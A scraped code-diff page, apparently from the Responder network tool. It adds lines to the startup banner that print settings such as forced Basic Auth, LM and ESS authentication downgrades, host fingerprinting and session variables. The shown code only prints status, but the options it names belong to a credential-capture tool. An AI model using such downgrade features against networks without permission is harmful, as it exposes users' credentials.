print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
|
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
|
||||||
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
||||||
|
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
|
||||||
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
|
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
|
||||||
print('')
|
print('')
|
||||||
|
|
||||||
@@ -420,4 +441,10 @@ def StartupMessage():
|
|||||||
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
|
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
|
||||||
if len(settings.Config.DontRespondToName):
|
if len(settings.Config.DontRespondToName):
|
||||||
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
|
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
|
||||||
|
print('')
|
||||||
|
|
||||||
|
print(color("[+] ", 2, 1) + "Current Session Variables:")
|
||||||
|
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
|
||||||
|
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
|
||||||
|
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user